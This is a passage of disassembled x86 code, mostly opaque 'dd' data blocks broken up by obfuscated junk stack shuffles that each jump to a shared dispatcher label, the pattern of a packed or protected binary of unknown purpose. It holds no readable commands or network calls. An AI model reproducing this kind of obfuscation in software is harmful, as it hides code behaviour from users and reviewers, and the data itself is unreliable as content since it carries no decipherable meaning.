0FFC20F27h, 0C3852571h dd 399CA51h, 14Dh, 0E6744A1Fh, 0CD48981Eh, 1386C2FEh, 30E333FCh dd 470E0FD2h, 27AD7519h, 0ADB63D64h, 4D008C4Fh, 361ADFDh dd 0A301B440h, 43A154E0h, 0E240F381h, 8FDF9220h, 0E7B66F31h dd 0F00B8D54h, 0B669B909h, 44839B3Eh, 0BD8C0782h, 0F00B8D7Eh dd 6F318FDFh, 0AE882BE1h, 88D46023h, 0CB1926E8h, 3F6699h dd 4A820000h, 9F0F868Dh, 0B651F448h, 50039158h, 6635B000h dd 0F60C0667h, 6D588D8h, 0F60C0937h, 0A558DEA4h, 42F57F47h dd 8645DD80h, 71CF670Ah, 0D6A52066h, 0F60C06D7h, 368CD828h dd 0ADh, 57FBBE52h, 7D0B26FAh, 645A49FFh, 0CABA8904h, 92FC1332h dd 0FDE2CACFh, 641A74DCh, 0DE802C8Ah, 605F682Bh, 69046198h dd 0B816C919h, 0BD1B67F5h, 40BB6EFAh, 5B47F6C5h, 5518F00Bh dd 172BD4E8h, 0D389D928h, 0BF83E04h, 4A470FF0h, 0DF5BE428h dd 9E51A1E6h, 3CEF7D40h, 0BC0921C4h, 3E1B6BF9h, 7336839Bh dd 14AA99E5h, 2A0AD954h, 92FA1DB8h, 0D4985417h, 0F63214B7h dd 5291427h, 43F949F6h, 0DB9E1969h, 2CDAA48Bh, 49FCB2D1h dd 0CB8E28EBh, 0A63AED3Dh, 0B10D2B03h, 46C13CB7h, 588C477h dd 934999F6h, 137670C4h, 519DEDFCh, 0F4744A6Dh, 998AAA79h dd 0B732FC1Ah, 25555E8h, 4BA0AF0h, 27B3672Ah, 45B181C2h dd 21E442F5h, 1F1EED68h, 40F00288h, 881221F0h, 0FB4BF002h dd 0E6B530ABh, 0F0028857h, 2336541Fh, 0AE45F1Eh, 5AB804BAh dd 87560997h, 286A8313h, 0E2EF47EAh, 0E745911Fh, 6AE59824h dd 4C1D20EFh, 0F242C85Ah, 8C42CC94h, 29DC822Eh, 8D58F295h dd 65C33ECAh, 126215A3h, 0EFB2105Ch, 4123E661h, 6ECD9C1Bh dd 0EFC85A62h, 5FBCDC9Fh, 7FD5883Eh, 25h, 7BBA8904h, 60C85AFAh dd 0D5D109Eh, 8513D533h, 7C3282D2h, 0BEFBBE98h, 0F64D91B9h dd 6013B965h, 1E0AC010h, 8E2EDB3Ah, 2EBA7DDBh, 0C9571D7Bh dd 66F0B816h, 28E55B3h, 0A62AF14Fh, 43E995F3h, 0E3693290h dd 8210D230h, 54517ECFh, 4C18159h, 83000000h, 0C8704E9h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 2F4Eh mov [esp], edx push 60E320Eh mov ebp, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 push eax mov eax, ebp push esi mov esi, eax mov [edx+8], esi pop esi pop eax mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- db 0Fh, 5Dh, 0EBh dd 0A84574CCh, 0EA601B50h, 31B835B8h, 3060E37h, 0DFE0FFC5h dd 0D84C3BD2h, 5C6CDCAEh, 8D69AD9Dh, 0E389C8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0DE97628h, 87000000h, 2E975656h, 0D2126155h, 43B1B73Bh dd 0A018D89h, 0BD8B0607h, 60713EDh, 14A585C7h, 62F00607h dd 0BD890000h, 60717B9h, 2FD585C7h, 607h, 0FFF50000h, 7214DB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 3672A082h, 0B4BE669Fh, 0EE851h, 57630000h dd 43DDB4ECh, 76A0668Fh, 0D58080E5h, 2433E881h, 0FF5A798Ah dd 71C1995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 6146023Ch, 65858Bh, 6A0607h, 1B6995FFh dd 0C08B0607h, 4D61BEBh, 7ECC95C3h, 0BEA18EFEh, 0B58580D0h dd 8044A4EBh, 12C2CE9h, 46B41F2Eh, 8904EB33h, 0E942D80Bh dd 55Ah, 0B57F5A2h, 115DEBADh, 1662EAB3h, 16620CB8h, 1763F1B8h dd 4CB0C2Dh, 0ED63480h, 18DE3C88h, 1DE03E8Ah, 55D0438Fh dd 25FB786h, 0E5C9A8F0h, 0D98C18DBh, 0E430B47Bh, 3B0AC386h dd 0F60C67F8h, 0B63E0765h, 39E3A366h, 0E63E20B2h, 0D1A01B96h dd 0F60C1B62h, 42F5ABFBh, 0E09321E4h, 0A4EA265h, 0D79B9A69h dd 74C4F60Ch, 11F0C6B1h, 0CA8F342h, 0CC1C6CF6h, 68F6B816h dd 3DC78FEDh, 0D1843A8Ah, 0BD80DE59h, 762C7C2Fh, 0AB6E7BD3h dd 9844A21Dh, 3DF343F6h, 47CD93F1h, 49D79DFBh, 0E6703896h dd 8612D533h, 25B375D3h, 58F29572h, 0CA64079Bh, 5FAB39FFh dd 35C386E4h, 11D43282h, 0CA80D083h, 681BA96Ch, 0CA89799h dd 620C3F6h, 0C3FDB779h, 6AF793h, 0DB130000h, 5ED98C18h dd 672114E3h, 0EE3EF60Ch, 67C86938h, 0F194F60Ch, 2E884A59h dd 1C893C3h, 0E4000000h, 108B19DBh, 0B07D654Dh, 4BA7540h dd 0A331F351h, 541775F0h, 0FC515C8h, 0B46705B1h, 27FEC13Ch dd 96F270D6h, 0EF4E1D98h, 70F60CB6h, 6FC76A20h, 913BE745h dd 6D308EDEh, 9CB29DFh, 0ED12F7Bh, 6F22AC74h, 9F83CF1Fh dd 0B65BFBBEh, 8C3FCD8Fh, 247F793Ch, 6A318F45h, 13D533E6h dd 0E5AC0A85h, 854EAC5Fh, 0ACFC4CFFh, 0DE8143F6h, 20B27944h dd 76FCC25Eh, 702373C3h, 2684D020h, 0C422D563h, 60BE71FBh dd 0FC5A0D97h, 81F9AC3Ah, 0B77944DEh, 0D6267629h, 4350EA8Dh dd 93C3C791h, 2CF7BD9h, 0CC20033h, 0BD0D5DF6h, 9C00470Ah dd 0EE381C37h, 8C65E89Eh, 0EA000000h, 893CCA8Ch, 0DB9F8339h dd 0B7159014h, 63B366EEh, 0B222E5A0h, 0E99F906Bh, 850FD836h dd 24B274D2h, 0BA4C1371h, 661969F7h, 0D8172FD2h, 5865BD60h dd 8DEC9091h, 0EBAE3800h, 55A534E3h, 2BB97CDAh, 0C52E1B0h dd 0BB0BF60Ch, 945BB905h, 53FF5D10h, 32ADF6A9h, 0D08311D4h dd 0F27CA80h, 0C397CE80h, 3C0E93h, 0DB2A0000h, 7FDD9014h dd 1A782BB9h, 0BB19CC52h, 42BA6D0Fh, 6B48879Fh, 0E8466EC8h dd 34DA8622h, 9D02EE4h, 0DB4B2F7Bh, 9D88B19h, 0F60C6727h dd 0E9B69033h, 93C32F27h, 167h, 12DB8300h, 0B679D78Ah dd 40E3772Ah, 8A12DBE6h, 0F96F4F3Eh, 7140037Eh, 0CC581BEEh dd 6A06C919h, 1BEAA050h, 0FC13DC95h, 14A264C2h, 0BCE49C4h dd 64236374h, 64D7A629h, 10F00B30h, 94607037h, 2C7C5622h dd 0C610B369h, 0A35916ADh, 41CF92F0h, 561C7AF5h, 17CD1DD0h dd 995CF6B9h, 0B808580Bh, 2D053605h, 18DAF00Bh, 0DF2FB57Ch dd 7907CE2Ch, 511876C6h, 0F59810C3h, 46C19E5Dh, 2D39FCCBh dd 0D626F00Bh, 18A57D20h, 1D7BC755h, 0F553CE5Ah, 3DF0A632h dd 0DD901CDFh, 13DE781Bh, 0D878C450h, 99CA7916h, 0B03E005Eh dd 74F7ADFDh, 164h, 0F4744A90h, 8676AA79h, 6FBFFC13h, 0D9B5EBCh dd 0E6883492h, 0C386E430h, 61248235h, 34FA58D3h, 8345F8AEh dd 0B87B46E0h, 0D2A1721Eh, 0F00B7963h, 0A95CACFCh, 0AAFA824Bh dd 0AC6E0E5Ah, 0EC99CA4Ch, 73h, 1AFBBE08h, 8E186D4Dh, 9E3928DEh dd 2F9E6DE8h, 90F60CA2h, 9E67C540h, 19E86316h, 0F60CAD1Ah dd 45A3F343h, 8D40F682h, 67EDB412h, 0AD53E2B1h, 0C688F60Ch dd 61278538h, 0E98C20D3h, 0A5986751h, 0BAF60CADh, 239E1A6Ah dd 49663E60h, 0D1877AC1h, 9F38142Eh, 2E9D6CE7h, 8FF60CD1h dd 0BD9DF33Fh, 22000000h, 7847FCC4h, 0F60CDEC5h, 47FA4A9Ah dd 4A5D41F7h, 0AA79F474h, 0FC13883Ah, 0F5B83383h, 0C286708Bh dd 9F520807h, 0A6F27E41h, 7A06CD2Bh, 63C177C7h, 926114A0h dd 0F00B5EACh, 3C0BBA81h, 0F00B51F9h, 13C61666h, 0B366F2B5h dd 46088C55h, 753E8BA3h, 1FC29FEFh, 69F7BA07h, 0CA902E1Dh dd 0B530801Eh, 1D9619E6h, 4C1472FAh, 6975C897h, 9AEAF605h dd 0F747974Ah, 6A23E644h, 569989Bh, 1775C5F6h, 0C313C64Eh dd 892CC073h, 0FDA907B1h, 4BAA95Fh, 0BB26E964h, 1CA5BC01h dd 6534AF65h, 0FC138498h, 195C8D50h, 893CCA8Ch, 19777639h dd 33835D13h, 0CF6E3DB8h, 90F00B71h, 5A3E8A40h, 79F4744Ah dd 1AA0C5AAh, 2BDE2EFCh, 327E0ACDh, 0D08311D4h, 0ECA57501h dd 0F755D03Ch, 48EBA14Bh, 9420E3EEh, 9927EA48h, 32DC88E6h dd 0D15F217Fh, 6CFAC01Eh, 849E41B9h, 3610B347h, 105CE8ABh dd 5712D295h, 45127F45h, 6F6E318Fh, 0DAF262A3h, 2DE030BCh dd 3D7h, 694DF300h, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh, 0B366F0B8h dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h, 0CF8210D2h dd 89A687Eh, 4890000h, 6EE36824h, 14890000h, 3C26824h dd 3C890000h, 0F8BF5724h, 8706D854h, 87D9F7CFh, 0CFF781CFh dd 89FF2993h, 8B545FFAh, 0C481243Ch, 4, 8BB53h, 0FB010000h dd 89D68956h, 8B5B5E33h, 8953243Ch, 4C381E3h, 83000000h dd 1C8704C3h, 34FF5C24h, 0C4815A24h, 4, 0F93E70E9h, 635E5FFFh dd 80C02D2h, 0FA103253h, 0ACB8F872h, 3060E3Dh, 0E0FFC5h dd 0A81F596Bh, 85202E91h, 2D7253B4h, 0C61B3D85h, 89352C66h dd 9D5AA042h, 6D1F35A9h, 2777DC9Dh, 8D019647h, 0E3EF18Dh dd 0DE906h, 16DB0000h, 0E272B4DBh, 94B09ED5h, 89A2848Dh dd 70A018Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 85C7971Bh, 60714A5h, 694Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7BC35141h, 0B83DF94Dh dd 0EBF114DEh, 0B99B58Bh, 85C70607h, 6072FD5h, 0 dd 0F28B6657h, 0B9B58B5Fh, 0FF06071Bh, 70CDDB5h, 65858906h dd 0FF060731h, 71C1995h, 0F1BD0106h, 6A060712h, 6995FF00h dd 8B06071Bh, 8048EBC0h, 0D8131D36h, 0A5E1DC30h, 0AD4FDFE9h dd 0AECF6CAAh, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 5D49C127h dd 6EFC33B5h, 0BE7F5584h, 7CD448A6h, 8267384Eh, 0E6EFE05Dh dd 0FC199376h, 92ABC20Ch, 0AFA07593h, 8DBB81C1h, 0EBAACED1h dd 0E13D4604h, 61FE96Dh, 77240000h, 692B89D5h, 68318FDBh dd 8E3A98E4h, 7F46A4F0h, 9ABBA5F1h, 0CA169A61h, 0CE1AA46Ch dd 0D01CAA70h, 0D521AF72h, 2518E762h, 3AF00258h, 18DB775Bh dd 424E118Ch, 7069545h, 179D66C4h, 0D533AE61h, 6DCB810Fh dd 419F1AA6h, 0F33FF57Bh, 4C1BD295h, 0F60C22E9h, 9F41F48Dh dd 0E2BCC23Eh, 318F4292h, 967E26Eh, 0B808BB41h, 2FF14F02h dd 4DAB26A1h, 0D30FF85h, 52F60C9Bh, 21994C02h, 5619A47Eh dd 5A207ECAh, 5C2280CCh, 67985BD6h, 91B63029h, 43F68446h dd 3AEDA3F3h, 0F8A14DCh, 0AC62EEB1h, 68C265F9h, 0BD09975Dh dd 5D109C5Fh, 0C8DE1FE2h, 62359CA9h, 0E353DDACh, 6407F60Ch dd 0B2FBBDCAh, 9C3B93C3h, 57000000h, 0D9760BEh, 0B6D4975Ah dd 19C3E783h, 1DBF6BC9h, 0BA460967h, 407F7C3Fh, 50689CD0h dd 0F848FB89h, 703FF2A8h, 0F60C3FCFh, 725AF497h, 13C66814h dd 0AB6D0DC3h, 0EB93C386h, 1Ah, 1726F570h, 48F60C03h, 0A522D285h dd 0F24222C4h, 3695A877h, 7ACAF60Ch, 19DBE0C4h, 9A5DD88Bh dd 0BA82F24Ah, 6E318134h, 6E24F666h, 0DC04E10h, 0A65903AFh dd 42F57F48h, 0E19422E4h, 6B68C265h, 521A78F3h, 0FBB19CCh dd 1A6ABA6Dh, 365F1F57h, 0F5AB275Fh, 2BEDF852h, 30F3519Dh dd 0DB7458A4h, 62DD9014h, 7938EE9Fh, 944A5884h, 11D87436h dd 0BE803383h, 0EFB6031Bh, 0C088E661h, 0D6348036h, 57D28513h dd 58843794h, 0F9AF0D1Bh, 974AD29Bh, 3AED7339h, 0DB8E30DCh dd 4D8AA447h, 0BAC96104h, 93C36008h, 3706D550h, 28F60C5Ah dd 2D7D03CAh, 0BDF477h, 0DB100000h, 62DD9014h, 8F87D9Fh dd 5F1599D5h, 0DFA63801h, 0FE4E9E51h, 9E2AED4Bh, 3BE18DEBh dd 0D1690C88h, 0F02518E7h, 0EA3AF60Ch, 0A77F229Ah, 81CD531Ah dd 9CC88B06h, 459ADB19h, 1CA29160h, 6BBBF60Ch, 49057B5h dd 7A47F351h, 17CA541Ch, 1C45F8C7h, 0CA1AF60Ch, 17626007h dd 46966D74h, 0FAB6DCBh, 0B669B963h, 0B4FDB066h, 0B86A3911h dd 0F893C33Fh, 70h, 9014DB14h, 3C0462DDh, 0F685AF3Fh, 90E03A2Ah dd 79D78DDDh, 3302B3h, 5DF60C17h, 0AC0ABD0Dh, 0FF854CE4h dd 0F9ACFC4Ch, 9649D39Bh, 0BF3C16B9h, 0DAE73FE2h, 0C6418D13h dd 17B97C4Bh, 56A6F60Ch, 0F2A52FF8h, 0DB08ECA2h, 9D88B19h dd 0F60C6727h, 0E9B69033h, 93C32F27h, 1625F46Fh, 47F60C6Bh dd 6B3EFDCCh, 0CF1FF60Ch, 146C97Fh, 62000000h, 0D78A12DBh dd 0AF2AB679h, 7A178DECh, 8D436D7Fh, 8BA346DAh, 0A3EF753Eh dd 6C08CA28h, 18681BA9h, 0FC515C8h, 4FCA9E20h, 13923080h dd 5AD525FCh, 0F3A933FCh, 911FE240h, 6307CA45h, 9FE43230h dd 4306641Ah, 0C48702B5h, 0FD0B27Fh, 26F5AB4Ah, 0F00B1315h dd 0CD801ECAh, 4B0EA86Fh, 5CBA6DBDh, 0D87B0F95h, 22AA737Eh dd 0F2CF1F6Fh, 27EAF74Fh, 8639C38Bh, 8412D836h, 0C78AE834h dd 65288639h, 0BF6224D7h, 0DE975A67h, 0B132C0Fh, 91E131F0h dd 0A2E3A545h, 742399CAh, 3F000001h, 0E281744Ah, 0F778B566h dd 0F4C33E8Eh, 0FC13B3BCh, 5BE9AB09h, 0B0D3E798h, 67B7B853h dd 93A271ECh, 48F00B81h, 0CD1DF785h, 43066417h, 0EF0D9C42h dd 62B21D58h, 743D9B16h, 2AED3DF0h, 0E2D83AA7h, 94F2A88Bh dd 329043D1h, 0A9436E6Fh, 78D4354h, 356DE244h, 8EDEA428h dd 68ECB513h, 0C86B3AB5h, 95F00BF5h, 8C3FF545h, 0C20F27CAh dd 852571FFh, 99CAC0C3h, 7103h, 612A8800h, 4A4125DBh, 0AF7EF98Dh dd 0F60C683Ch, 38D682E0h, 0A558A882h, 0C6767D6h, 27AD74F6h dd 0C6541674h, 5AF49713h, 48A6219Dh, 9D23EA86h, 974A9AEAh dd 54EE9147h, 0AD7CDFF8h, 0F60C678Eh, 0B42F7FCFh, 4E018F56h dd 52CD48FEh, 0F3A648F4h, 0DA5928A3h, 83F60C67h, 3FAE7D33h dd 80F60C68h, 8E57B530h, 0A5035306h, 509C52DEh, 8AFAh dd 744A1600h, 581B79F4h, 6763D2A1h, 0ACFCF60Ch, 0A359A95Ch dd 886B5928h, 84D4FC13h, 16B073D1h, 0C414C74Dh, 7CA2874h dd 4BF7C679h, 9DF00B48h, 318C422h, 13598916h, 0D689D9DAh dd 0D222CC78h, 71B58857h, 5AAAF00Bh, 9C2901A4h, 10FF4BD9h dd 703FBAAEh, 0FA1DB101h, 75D386D6h, 0DF7326B2h, 7846E23Ch dd 2BFA75F0h, 0F6054E08h, 4E56E5B4h, 0B707F605h, 5CD78DDDh dd 138E628Dh, 4C1573FCh, 9FFD78C8h, 49994CD8h, 4A634793h dd 0AA79F474h, 0FC1AA747h, 96A574EFh, 0C7F00258h, 355CB477h dd 8131BF3Bh, 0EEA1F1CBh, 0F33FCD90h, 9346D295h, 10DE5518h dd 0B97EF3F9h, 0C6CC6F3Eh, 4191F002h, 4106BC8Bh, 2ACD67F5h dd 874AA810h, 22E543F9h, 29EC4A96h, 1CAE5B28h, 8FDFAF1Bh dd 410361DCh, 8E7AB988h, 93E39BEDh, 0C5409043h, 0ED8E47F6h dd 12C8189Bh, 0B36608B4h, 7E46A41Fh, 8E3FFECDh, 0D0209BEDh dd 27DCD80h, 0ED8E0033h, 570D5D9Bh, 0D4329AB4h, 6ECC820Ch dd 73D11DABh, 1B7124B0h, 8, 0F67C42A0h, 694D5C40h, 0DB8E2EDBh dd 7B2EBA7Dh, 16C9571Dh, 0B366F0B8h, 4F028E55h, 0F3A62AF1h dd 9043E995h, 30E36932h, 0CF8210D2h, 0E289527Eh, 4C281h dd 0BE560000h, 4, 875EF229h, 685C2414h, 1Ah db 89h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edi mov edi, 5B426087h not edi inc edi add edi, 61509FD0h mov eax, edi mov edi, [esp] add esp, 4 push 5C91h mov [esp], esp add dword ptr [esp], 4 pop edx push eax push edi mov edi, 5A8A3E62h add [esp+4], edi pop edi pop dword ptr [edx+8] sub dword ptr [edx+8], 5A8A3E62h mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5438DD ; --------------------------------------------------------------------------- dw 0FEBCh dd 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 44C0B813h, 0C503060Eh dd 46CCE0FFh, 0B9A40E10h, 0F25773A5h, 69B7707Eh, 0D32D3538h dd 90307F90h, 925B3727h, 83E9175Bh, 31653C63h, 10585BE3h dd 52131B07h, 0B72516C6h, 49C10965h, 835F2BC1h, 0EF195C7Eh dd 44A00B6Dh, 7A6330B3h, 0AE2C27FCh, 0F3CE2F7Fh, 3CDF2779h dd 0ACDA4BC6h, 74F367AFh, 4EB2A36h, 17AD3F8Eh, 56FE9h dd 5A02AF00h, 60EEB00Eh, 67EDB614h, 6B11BD1Bh, 76FAC11Fh dd 0DE1F402Ah, 0DF3D8917h, 0E3418D17h, 0ED4B971Dh, 0DF529E2Ah dd 22A69564h, 0D8B7F002h, 8C18DBF4h, 37EAB311h, 0C67D568h dd 0EA3A8AF6h, 7E31E737h, 7FCB5920h, 1FD25E21h, 0BF72FEC1h dd 96119F61h, 31E77538h, 108B067Eh, 0C67F241h, 0E17A82F6h dd 3D9D77BDh, 0BA5D1363h, 6925560h, 10965CBAh, 12A066C4h dd 0B339015Fh, 93F16C00h, 449447CDh, 6953EB8Eh, 7C55FBA6h dd 19CFDC0Bh, 80FCF5BBh, 3FB1CF10h, 4AFD8349h, 0E5AAAFAh dd 0AC5FEDB0h, 93526E31h, 4FB7CC45h, 0C93BD80h, 252A2F6h dd 93B37D4Ch, 4A7F60Ch, 229B5D2Ah, 85E393C4h, 0FE8137BDh dd 39h, 8C18DB1Ah, 67290AD9h, 9235F60Ch, 2F29EBB8h, 0A6993C3h dd 0EE000000h, 0A07CED2Bh, 0EEA4A166h, 8B19DB0Ah, 2AB87AD8h dd 0CF6D1977h, 2901A41Ch, 4CDA9Ch, 551DFA2h, 8214DB21h dd 2EE131BFh, 5800ED0h, 8345E1A7h, 0A2F2A5F5h, 0A8A85DDFh dd 0DF95FD55h, 6FC76A2Ch, 0C9159B62h, 480EA86Bh, 67B707BAh dd 40C68EECh, 17DF3D8Dh, 0C624D78Dh, 66C477FDh, 664179Dh dd 8C04B73Dh, 499251E9h, 1CAA70CEh, 0C0631969h, 907B3E66h dd 0F17B44D5h, 362BEE3Eh, 6606BC90h, 93C35AB4h, 94F4h dd 60BE1000h, 7570AB4h, 9A2CF351h, 4D9D50EEh, 23EC4AFDh dd 0CB6EE699h, 0E69F6673h, 0C672417h, 99E939F6h, 9C28EF4Dh dd 32B5E21h, 111B513Ch, 0CF2DA85Bh, 65C37923h, 176013B9h dd 1BCDDA74h, 5B93C385h, 73h, 9014DB77h, 25AA5215h, 4F029052h dd 0A1E33CFFh, 0E03EF1A7h, 7BD98C1Ah, 0CF551BB3h, 0C97CCC1Ch dd 671AA26Bh, 0F1EE48EBh, 0CD97114h, 76C59445h, 46F60C7Fh dd 0C7FC477h, 6F4999F6h, 7F1625F4h, 0F747F60Ch, 900B57A7h dd 32E88632h, 8B19DB4Eh, 63E9B210h, 52BFAADh, 55F60C67h dd 0AD905FDAh, 0B2F60C67h, 3109AC62h, 0C32EA062h, 1E093h dd 0DBFC0000h, 5CD78A12h, 0D449F999h, 0CEF3605h, 14D727F6h dd 8E57DBA5h, 0A200B606h, 0A9E51DFh, 3902CF67h, 467867B3h dd 8EAD7CF7h, 0CFF60C7Eh, 7E8DB07Fh, 82D2F60Ch, 0D8E8B732h dd 8DFC1389h, 4C0F8A3Dh, 23A44973h, 0D331E70Ch, 28AE7610h dd 2E7E04CAh, 400967E2h, 0E573C291h, 9CECF00Bh, 8649994Ch dd 0EFF57FA2h, 81DF9590h, 0B07F32BEh, 0F00BC88Fh, 4BFE8850h dd 58201F88h, 1876ACD4h, 4F11C452h, 785592ACh, 0AD707DD5h dd 0B275D31Fh, 52157326h, 0AE5113C6h, 0FA864994h, 0D25E217Fh dd 0CD19CF1Fh, 0CB1A6B2Dh, 185AB99h, 0BEC70000h, 560C9A60h dd 96115767h, 138689C7h, 33AEFEFCh, 794AE9B8h, 0C313F00Bh dd 39FC5A0Dh, 3E015FABh, 2684FFB2h, 0C11FD563h, 99F772FEh dd 0E6994FEDh, 884BA924h, 4EDC9EFCh, 0F2954B9Bh, 3ECA8D58h dd 0BA7948C3h, 0A3F00B79h, 79DA5928h, 3383F00Bh, 41E12DE3h dd 99CA4C7Fh, 44BFh, 8D4ADB00h, 4CBB7EF9h, 0AE380043h dd 8D64EBEBh, 1E8D5CD7h, 5FF60CCBh, 0AE8D5C0Fh, 0DF60CC4h dd 0E16B3492h, 8528DE2Eh, 3E488FADh, 24EA48C3h, 0AA19E89Eh dd 13F60CCBh, 0E82177C3h, 0A6000000h, 3FF57F48h, 81744A5Bh dd 0EA3D7EFAh, 5C543D43h, 3066AA9Fh, 461590E0h, 0FC139946h dd 64F2B816h, 0D1AB61B1h, 0AD70CE81h, 561625F4h, 0F747F00Bh dd 82E05BA7h, 328235BBh, 0BF5B1E7Ch, 0FABD70FCh, 0B87EC2ADh dd 5EAEFE30h, 0E756DCABh, 7137F00Bh, 0AD230E3h, 0AAD3E711h dd 4090146Ah, 0FC56F98Dh, 0A77F22FFh, 50DC9FFDh, 39974D9Dh dd 0AF9EEA76h, 949CE60Fh, 4E47BCD7h, 0BAB483FEh, 6EFA1DACh dd 231124F3h, 0FE4EF605h, 0A31E6E48h, 23DA5928h, 3383F605h dd 0A96CCA7Dh, 410A681Bh, 99B75E48h, 0F5455BBFh, 9321E442h dd 0A79665E0h, 0B8F60535h, 4EE88B68h, 8235D783h, 0AB4EE232h dd 9CB2993h, 0C278C87Bh, 27DEBD3h, 9D53E1A4h, 8749A722h dd 40F646F9h, 13FFF971h, 0B60252FCh, 42F1C03Bh, 1BF00B70h dd 4A3115CBh, 0AA79F474h, 0FC1AADB0h, 0B816C919h, 0E9259F5h dd 0EBAD0B5Bh, 0A5AAA5Dh, 19D60BEh, 0AE61B13Fh, 0A1999ADFh dd 24FEA101h, 0FE4AD699h, 9C4FDDA0h, 1CDE923Eh, 8122EE1Bh dd 82D2650Ch, 5F217F32h, 1E5B1ED1h, 49FF7120h, 0D17B2785h dd 4FE78A1Eh, 0C159FC90h, 57A331F4h, 2FAA36F9h, 2C30DB6Ch dd 24DA8018h, 31B71h, 4D370000h, 8E2EDB69h, 2EBA7DDBh dd 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh, 43E995F3h dd 0E3693290h, 8210D230h, 89517ECFh, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 2434895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 2797h mov [esp], edx mov edx, 60E45D4h mov ecx, edx pop edx push 2727h mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ecx pop dword ptr [esi+8] mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5438DD ; --------------------------------------------------------------------------- db 8Eh dd 0E4ABDB8h, 0FFC50306h, 1D2EF3E0h, 89625014h, 0F595BC2Eh dd 5FB234h, 0F96E615Ah, 1D6DD120h, 7D565A40h, 64010643h dd 0A069E26Dh, 17FE6116h, 0CF1DA167h, 0A5B3CF0Dh, 0F7CB8D3Dh dd 0E6DD1D74h, 1488F877h, 7CB89917h, 0D0315516h, 492A3251h dd 0D2BD324Fh, 0D0961948h, 0BBD93D65h, 3C8185Dh, 0FDE1607Eh dd 1998C13Ch, 0B710CC21h, 0B1D7CA3Fh, 0C22F7834h, 5F1BBA40h dd 1695B264h, 4505F77h, 0A236C069h, 888D8D35h, 0E8060E4Ch dd 0Ch, 0B7F26A3Bh, 0A4954B5Eh, 24854FEh, 8E8h, 8CFA4200h dd 4274E332h, 959501B5h, 5E060730h, 18D895Ah, 0E906070Ah dd 0Dh, 4ABDF9CDh, 0F8570F31h, 23AEFCF3h, 0A585C705h, 80060714h dd 60000070h, 0E9D0BF0Fh, 7, 0B7266557h, 61C1EC32h, 2FD585C7h dd 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0EFF9AFC3h, 0B70F5019h, 4DB5FFC2h dd 8B060721h, 714FDB5h, 1995FF06h, 5706071Ch, 14E9h, 0BC1FA600h dd 68BF00F3h, 3B177B3h, 0F5CE62AAh, 6209174Eh, 6A5AEBh dd 1B6995FFh, 0C08B0607h, 71CE1BEBh, 35D3FAD3h, 21DDF07h dd 5DB7071Dh, 0B2276783h, 0B7E72C2Ah, 0E3B8A8BDh, 0C58D8DFAh dd 0BF060E4Dh, 66C6D06Eh, 0A018D89h, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A589BEC3h dd 0DE8C38Ah, 0A6000000h, 8F378092h, 1E96B6AAh, 0F6C6507Dh dd 58C3B70Fh, 14A585C7h, 5E2C0607h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 11528EC3h dd 8B178A52h, 72E31B5h, 0D585C706h, 6072Fh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 2350C355h, 0E418BB07h, 0B5FF4CDFh, 607312Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A2C35242h dd 68093D90h, 95FF046Dh, 6071C19h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 42C35141h, 810F8B60h, 0FB8B66F9h dd 0E2A8BB60h, 0CE84CCDh, 0BE000000h, 6CC6966Eh, 0BF6FC62Bh dd 8125B1C1h, 0ADBD63C2h, 6A615F62h, 6995FF00h, 8B06071Bh dd 7D49EBC0h, 0B5559A1Eh, 0E64B91BBh, 98090D9Ah, 0C1A589BEh dd 7F16D7DFh, 77BD5489h, 0E6F9448Bh, 44BD7BA8h, 0D11FB13Bh dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 85EC3681h, 198A1479h dd 0B03CAF25h, 0B0CC67C2h, 207BCDB2h, 909CE2E3h, 10E8h dd 0FDF12E00h, 189387ABh, 342259E6h, 0EF0C7728h, 81665F12h dd 81BF0CC9h, 6865C7h, 6850F00h, 29000000h, 715E595h, 0BBF63306h dd 32A09ACAh, 0B53E34FFh, 0B9665ADCh, 0EA81AD2Eh, 6B3B7F1Eh dd 659D2352h, 5B060714h, 7CAFEA81h, 0BB6607F1h, 0C2811CBEh dd 4BAB95Fh, 2E85858Bh, 0E8520607h, 8, 